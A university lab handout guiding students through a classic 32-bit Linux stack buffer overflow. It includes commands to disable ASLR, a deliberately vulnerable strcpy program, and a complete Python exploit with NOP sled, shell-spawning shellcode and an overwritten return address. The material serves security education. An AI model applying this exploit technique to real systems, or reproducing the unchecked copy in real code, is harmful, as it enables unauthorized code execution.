Proj 3: Linux Buffer Overflow With Shellcode (20 pts.)

What You Need

A 32-bit x86 Kali 2 Linux machine, real or virtual. The project works in a very similar manner on Kali 1.

Purpose

To develop a very simple buffer overflow exploit in Linux. This will give you practice with these techniques:

Observing ASLR

Address Space Layout Randomization is a defense feature to make buffer overflows more difficult, and Kali Linux uses it by default.

To see what it does, we'll use a simple C program that shows the value of $esp -- the Extended Stack Pointer.

To make sure ASLR is enabled, execute this command:


echo 1 > /proc/sys/kernel/randomize_va_space
In a Terminal, execute this command:

nano esp.c
Enter this code, as shown below:

#include <stdio.h>
void main() {
        register int i asm("esp");
        printf("$esp = %#010x\n", i);
}

Save the file with Ctrl+X, Y, Enter.

In a Terminal, execute these commands:


gcc -o esp esp.c
./esp
./esp
./esp
Each time you run the program, esp changes, as shown below:

This makes you much safer, but it's an irritation we don't need for this project, so we'll turn it off.

Disabling ASLR

Fortunately, it's easy to temporarily disable ASLR in Kali Linux.

In a Terminal, execute these commands:


echo 0 > /proc/sys/kernel/randomize_va_space
./esp
./esp
./esp
Now esp is always the same, as shown below:

Creating a Vulnerable Program

This program does nothing useful, but it's very simple. It takes a single string argument, copies it to a buffer, and then prints "Done!".

This program has the overflow in a function, not in main(), because main() has a special stack format that breaks this simple attack.

In a Terminal window, execute this command:


nano bo1.c
Enter this code:

#include <string.h>
#include <stdio.h>
void main(int argc, char *argv[]) {
	copier(argv[1]);
	printf("Done!\n");
}
int copier(char *str) {
	char buffer[100];
	strcpy(buffer, str);
}

Save the file with Ctrl+X, Y, Enter.

Execute these commands to compile the code without modern protections against stack overflows, and run it with an argument of "A":


gcc -g -z execstack -no-pie -o bo1 bo1.c
./bo1 A
There may be warnings from the compiler, but there should be no errors.

The code exits normally, wth the "Done!" message, as shown below.

Using Python to Create an Exploit File

In a Terminal window, execute this command:

nano b1
Type in the code shown below.

The first line indicates that this is a Python program, and the second line prints 116 'A' characters.


#!/usr/bin/python 
print 'A' * 116

Save the file with Ctrl+X, Y, Enter.

Next we need to make the program executable and run it.

In a Terminal window, execute these commands.


chmod a+x b1
./b1
The program prints out 116 'A' characters, as shown below.

Now we need to put the output in a file named e1.

In a Terminal window, execute these commands.

Note that the second command is "LS -L E*" in lowercase characters.


./b1 > e1
ls -l e1
This creates a file named "e1" containing 116 "A" characters and a line feed, for a total of 117 characters, as shown below.

Overflowing the Stack

In a Terminal window, execute this command.

Note: the "$(cat e1)" portion of this command prints out the contents of the e1 file and feeds it to the program as a command-line argument. A more common way to do the same thing is with the input redirection operator: "./bo1 < e1". However, that technique gave different results in the command-line and the debugger, so the $() construction is better for this project.


./bo1 $(cat e1)
The program crashes with a "Segmentation fault" message, as shown below.

The strcpy() operation corrupts ths stack, so the program cannot return from copier() to main().

As it is, this is a DoS exploit--it causes the program to crash.

Our next task is to convert this DoS exploit into a Code Execution exploit.

To do that, we need to analyze what caused the segmentation fault, and control it.

Debugging the Program

Execute these commands to run the file in the gdb debugging environment, list the source code, and set a breakpoint:

gdb -q bo1
list
break 10
Because this file was compiled with symbols, the C source code is visible in the debugger, with handy line numbers, as shown below.

The "break 10" command tells the debugger to stop before executing line 10, so we can examine the state of the processor and memory. At line 10, the strcpy() operation is done, but the program has not attempted to return from copier() yet.

Normal Execution

In the gdb debugging environment, execute these commands:

run A
info registers
The code runs to the breakpoint, and shows the registers, as shown below. (Your values may be different from the ones shown in the image below.)

The important registers for us now are:

In the gdb debugging environment, execute this command:


x/40x $esp
This command is short for "eXamine 40 heXadecimal words, starting at $esp". It shows the stack. Find these items, as shown below:

Overflowing the Stack with "A" Characters

In the gdb debugging environment, execute this command:

run $(cat e1)
gdb warns you that a program is already running. At the "Start it from the beginning? (y or n)" prompt, type y and then press Enter.

The program runs to the breakpoint.

In the gdb debugging environment, execute these commands:


info registers
x/40x $esp
Find these items in your display,as shown below:

Quitting the Debugger

In the gdb debugging environment, execute this command:

quit
At the "Quit anyway? (y or n)" prompt, type y and press Enter.

Installing Hexedit

In a Terminal window, execute these commands:

apt update
apt install hexedit -y

Targeting the Return Address

In a Terminal window, execute these commands:

cp e1 e2
hexedit e2
This copies your DoS exploit file e1 to a new file named e2, and starts it in the hexedit hexadecimal editor.

In the hexedit window, carefully change the last 4 '41' bytes from "41 41 41 41" to "31 32 33 34", as shown below.

Save the file with Ctrl+X, Y.

Testing Exploit 2 in the Debugger

In a Terminal window, execute these commands:

gdb -q bo1
break 10
run $(cat e2)
info registers
x/40x $esp
As you can see, the return address is now 0x34333231, as outlined in green in the image below.

This means you can control execution by placing the correct four bytes here, in reverse order.

However, there must be exactly 112 bytes before the four bytes that will end up in $eip.

Saving a Screen Image

Make sure 34333231 is visible, as shown above.

Press the PrintScrn key to copy the whole desktop to the clipboard.

YOU MUST SUBMIT A FULL-SCREEN IMAGE FOR FULL CREDIT!

Paste the image into Paint.

Save the document with the filename "YOUR NAME Proj 3a", replacing "YOUR NAME" with your real name.

Quitting the Debugger

In the gdb debugging environment, execute this command:

quit
At the "Quit anyway? (y or n)" prompt, type y and press Enter.

Getting Shellcode

The shellcode is the payload of the exploit. It can do anything you want, but it must not contain any null bytes (00) because they would terminate the string prematurely and prevent the buffer from overflowing.

For this project, I am using shellcode that spawns a "dash" shell from this page:

http://www.tenouk.com/Bufferoverflowc/Bufferoverflow6.html

Of course, you are already root on Kali Linux, so this exploit doesn't really accomplish anything, but it's a way to see that you have exploited the program.

The shellcode used to spawn a "dash" shell is as follows:


\x31\xc0\x89\xc3\xb0\x17\xcd\x80\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89
\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80
This shellcode is 32 bytes long.

Understanding a NOP Sled

There are some imperfections in the debugger, so an exploit that works in gdb may fail in a real Linux shell. This happens because environment variables and other details may cause the location of the stack to change slightly.

The usual solution for this problem is a NOP Sled--a long series of "90" bytes, which do nothing when processed and proceed to the next instruction.

For this exploit, we'll use a 64-byte NOP Sled.

Constructing the Exploit

In a Terminal window, execute this command:

nano b3
Type in the code shown below.

Line by Line Explanation

The first statement indicates that this is a Python program

The second statement puts 64 '\x90' (hexadecimal 90) characters into a variable named "nopsled"

The third statement places the 32-byte shellcode into a variable named "shellcode". This statement is several lines long.

The fourth statement makes a variable named "padding" that is long enough to bring the total to 112 bytes

The fifth statement makes a variable named eip that contains the bytes I want to inject into the $eip register: '1234', at this point.

The sixth statement prints it all out in order.


#!/usr/bin/python 

nopsled = '\x90' * 64 
shellcode = (
'\x31\xc0\x89\xc3\xb0\x17\xcd\x80\x31\xd2' +
'\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89' +
'\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80'
)
padding = 'A' * (112 - 64 - 32)
eip = '1234'
print nopsled + shellcode + padding + eip

Save the file with Ctrl+X, Y, Enter.

Next we need to make the program executable and run it.

In a Terminal window, execute these commands.


chmod a+x b3

./b3 > e3

hexedit e3
The exploit should look exactly like the image below.

Close the file with Ctrl+X.

Testing Exploit 3 in gdb

In a Terminal window, execute these commands:

gdb bo1
break 10
run $(cat e3)
info registers
x/40x $esp
This loads the exploit, executes it, and stops so we can see the stack.

Find these items:

Choosing an Address

You need to choose an address to put into $eip. If everything were perfect, you could simply use the address of the first byte of the shellcode. However, to give us some room for error, choose an address somewhere in the middle of the NOP sled.

In the figure above, a good address to use is


0xbffff370
Choose an appropriate address for your system. It will probably be different.

Quitting the Debugger

In the gdb debugging environment, execute this command:

quit
At the "Quit anyway? (y or n)" prompt, type y and press Enter.

Inserting the Correct Address Into the Exploit

We need to change eip to 0xbffff370. However, since the Intel x86 processor is "little-endian", the least significant byte of the address comes first, so we need to reverse the order of the bytes, like this:

eip = '\x70\xf3\xff\xbf'
In the Terminal, execute these commands:

cp b3 b4

nano b4
Change the address in eip to match the code and image below:

#!/usr/bin/python 

nopsled = '\x90' * 64 
shellcode = (
'\x31\xc0\x89\xc3\xb0\x17\xcd\x80\x31\xd2' +
'\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89' +
'\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80'
)
padding = 'A' * (112 - 64 - 32)
eip = '\x70\xf3\xff\xbf'
print nopsled + shellcode + padding + eip

Save the file with Ctrl+X, Y, Enter.

Next we need to make the program executable and run it.

In a Terminal window, execute these commands.


chmod a+x b4

./b4 > e4

hexedit e4
The exploit should look like the image below, except for the four bytes near the end which are probably different on your system.

Close the file with Ctrl+X.

Testing Exploit 4 in gdb

In a Terminal window, execute these commands:

gdb bo1
break 10
run $(cat e4)
info registers
x/40x $esp
This loads the exploit, executes it, and stops so we can see the stack.

Now the return address is 0xbffff370, as shown below. That should work!

In the gdb window, execute this command:


continue
The exploit works, executing a new program "/bin/dash", as shown below.

(You may see an "Error in re-setting breakpoint" message. but that doesn't matter as long as you get the "#"prompt shown below.

We now have a working buffer overflow exploit, that returns a shell.

Exiting the Dash Shell

At the dash shell "#" prompt, execute this command:

exit

Quitting the Debugger

In the gdb debugging environment, execute this command:

quit

Testing Exploit 4 in the Normal Shell

In the Terminal window, execute this command:

./bo1 $(cat e4)
If the exploit works, you will see the "#" prompt, as shown below.

Adjusting the Exploit

When I did it with these values, the exploit worked in gdb but not in the real shell. That's a common occurrence, and the reason for the NOP sled. If that happens to you, adjust the return value in the exploit file using hexedit until it works.

To make it work on an earlier version of Kali, I had to subtract 0x50 from the address, making the last byte 0x20, as shown below.

To make it work on Kali 2017.3, I had to add 0x20 to the address. It seems very random.

The exploit now works in the real shell!

Saving a Screen Image

Make sure the dash prompt of # is visible, as shown above.

Press the PrintScrn key to copy the whole desktop to the clipboard.

YOU MUST SUBMIT A FULL-SCREEN IMAGE FOR FULL CREDIT!

Paste the image into Paint.

Save the document with the filename "YOUR NAME Proj 3b", replacing "YOUR NAME" with your real name.

Turning in your Project

Email the images to cnit.127sam@gmail.com with the subject line: Proj 3 from YOUR NAME

Sources

Penetration Testing

http://www.offensive-security.com/metasploit-unleashed/Msfpayload

http://www.offensive-security.com/metasploit-unleashed/Generating_Payloads

https://isisblogs.poly.edu/2011/04/13/cheatsheet-using-msf-to-make-linux-shellcode/

http://www.tenouk.com/Bufferoverflowc/Bufferoverflow6.html

http://stackoverflow.com/questions/14344654/how-to-use-debug-libraries-on-ubuntu

http://stackoverflow.com/questions/15306090/cant-step-into-string-h-function-with-gdb

http://askubuntu.com/questions/180207/reading-source-of-strlen-c

http://askubuntu.com/questions/318315/how-can-i-temporarily-disable-aslr-address-space-layout-randomization

http://stackoverflow.com/questions/17775186/buffer-overflow-works-in-gdb-but-not-without-it

http://security.stackexchange.com/questions/33293/can-exploit-vulnerability-if-program-started-with-gdb-but-segfaults-if-started


Updated for Kali 2017.3 on 1-25-18 at 1:53 pm
A missing CR added 2-3-18
Address updated in text 2-4-18
--no-pie changed to -no-pie 2-24-18
Extra gcc arguments removed 3-2-18